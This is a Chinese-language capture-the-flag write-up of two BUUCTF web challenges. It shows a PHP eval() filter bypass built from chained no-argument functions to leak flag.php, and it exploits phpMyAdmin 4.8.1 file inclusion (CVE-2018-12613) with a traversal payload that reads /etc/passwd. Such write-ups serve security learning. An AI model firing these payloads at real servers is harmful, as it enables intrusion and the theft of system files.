[GXYCTF2019]禁止套娃
思路

一道找flag的题,试试常规方法,由于是buuctf,不进行文件扫描了
用GitHack得到源码
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>
其中/[a-z,_]+\((?R)?\)/这条正则是关键,它嵌套匹配[字母|下划线]()的结构,如

解题
我们想办法得到highlight_file('flag.php');flag.php在目录下,可以scandir('.').可以通过版本号获取
数组元素提取可以通过以下方法:
<?php
$transport = array('foot', 'bike', 'car', 'plane');
$mode = current($transport); // $mode = 'foot';
$mode = next($transport); // $mode = 'bike';
$mode = next($transport); // $mode = 'car';
$mode = prev($transport); // $mode = 'bike';
$mode = end($transport); // $mode = 'plane';
?>
于是我们可以得到答案:
http://84b2b149-368c-4693-bd90-4d1be526b884.node5.buuoj.cn:81/?exp=
var_dump(phpversion());
↓
string(6) "5.6.40"
var_dump(next(str_split(phpversion())));
↓
string(1) "."
var_dump(scandir(next(str_split(phpversion()))));
↓
array(5) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(4) ".git" [3]=> string(8) "flag.php" [4]=> string(9) "index.php" }
var_dump(next(array_reverse(scandir(next(str_split(phpversion()))))));
↓
string(8) "flag.php"
highlight_file(next(array_reverse(scandir(next(str_split(phpversion()))))));
↓
<?php
$flag = "flag{081598aa-80db-47d0-8dcc-f5dba4b9d5e4}";
?>
[GWCTF 2019]我有一个数据库
思路

既然提示数据库了,进phpmyadmin里面找找,发现找不到
应该是要利用漏洞
参考文献:2019GWCTF/wp/web/我有一个数据库 at master · gwht/2019GWCTF · GitHub
CVE-2018-12613 本地文件包含漏洞复现+漏洞分析 – 先知社区 (aliyun.com)
phpMyAdmin 4.8.1 远程文件包含 CVE-2018-12613 漏洞复现_phpmyadmin 4.8.1 远程文件包含漏洞(cve-2018-12613) phpmyadm-CSDN博客
解题
关键是找到漏洞点,就行,根据漏洞信息,直接构造payload
http://fc493099-e93d-4028-873e-c96d0b281365.node5.buuoj.cn/
phpmyadmin/index.php?target=db_sql.php%253f/../../../../../flag
注意
原文的木马注入,不知道为什么我没有成功
而且我也不是很懂是怎么确定flag位置的
POC
http://x.x.x.x:8080/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd